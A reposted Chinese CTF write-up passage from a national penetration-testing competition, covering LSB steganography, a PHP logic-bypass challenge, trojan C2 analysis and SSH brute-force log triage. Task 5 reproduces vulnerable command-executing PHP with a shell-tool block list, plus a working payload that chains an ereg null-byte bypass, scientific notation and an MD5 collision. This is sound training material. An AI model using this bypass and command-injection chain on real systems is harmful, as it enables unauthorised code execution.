第二届全国网络安全行业职业技能大赛-渗透测试方向WP

admin 2026-01-13 14:49:29 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档详述了第二届全国网络安全行业职业技能大赛渗透测试方向的WriteUp,涵盖七个CTF解题过程。主要内容包括PHP源码逻辑绕过、多层编码还原、反序列化POP链构造、图片LSB隐写分析、命令注入与MD5碰撞绕过、木马逆向定位C2地址以及日志分析溯源SSH爆破IP。文章提供了具体的Payload和解题思路。 综合评分: 81 文章分类: CTF,WEB安全,逆向分析,代码审计,渗透测试


  • lsb隐写,直接stegslove秒了,然后解html编码,比赛的时候没截图
  • flag{h0w_4bouT_enc0de_4nd_pnG}

任务5: 逻辑绕过

  • 任务描述: 目标系统存在一处逻辑较为复杂的代码漏洞。 提交要求: 审计代码,构造特定的请求参数绕过安全检查,读取flag并提交。
  • 题目代码如下
You password must be alphanumeric';
      }
&nbsp; &nbsp; &nbsp; else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
&nbsp; &nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (strpos ($_GET['password'], '*-*') !== FALSE)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $cmd = $_GET['cmd'];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo("forbid ~");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo "
";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo `$cmd`;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo ("md5 is funny ~");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo('

*-* have not been found

');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo '

Invalid password

';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; highlight_file(__FILE__);
?>
  • 就拼多多

  • ereg的%00绕过

  • 科学计数法

  • 命令执行绕过

  • MD5强碰撞

  • 开始以为读flag.php或者/flag或者/flag.txt,发现都没找都,然后find找倒flag,文件名是f1ag098765432.php

  • payload如下
POST /?password=1e9%00*-*&cmd=strings+./f1ag098765432.php HTTP/1.1

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

任务6: 木马分析

  • 任务描述: 某单位在内外网互传数据的光盘中捕获一窃密木马,现提供包含该木马的样本文件。 提交要求: 通过逆向分析,找出该木马上传数据时的回连IP与端口。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/ST-D-QA0006.iso
  • 挂载iso,发现exe

  • ida动态调试找到c2的ip和端口

  • 172.253.63.100:25565

任务7: 入侵排查

  • 任务描述: 服务器疑似遭到SSH爆破攻击,请分析系统认证日志。 提交要求: 分析 auth.log 日志,找出成功爆破Linux系统密码并成功登录的黑客IP地址。直接提交IP地址。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/auth.log

  • 直接搜Accepted

  • 202.45.169.243

来源:AI+网络安全服务

精选阅读

交流分享


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛查查 1ctf《第二届全国网络安全行业职业技能大赛-渗透测试方向WP》

5G无人机应用白皮书 网络安全文章

5G无人机应用白皮书

文章总结: 本文聚焦300米以下民用无人机,阐述5G利用大带宽、低时延、波束赋形及边缘计算等技术优势,解决4G覆盖与干扰问题,满足高清回传与低时延控制需求。列举
评论:0   参与:  0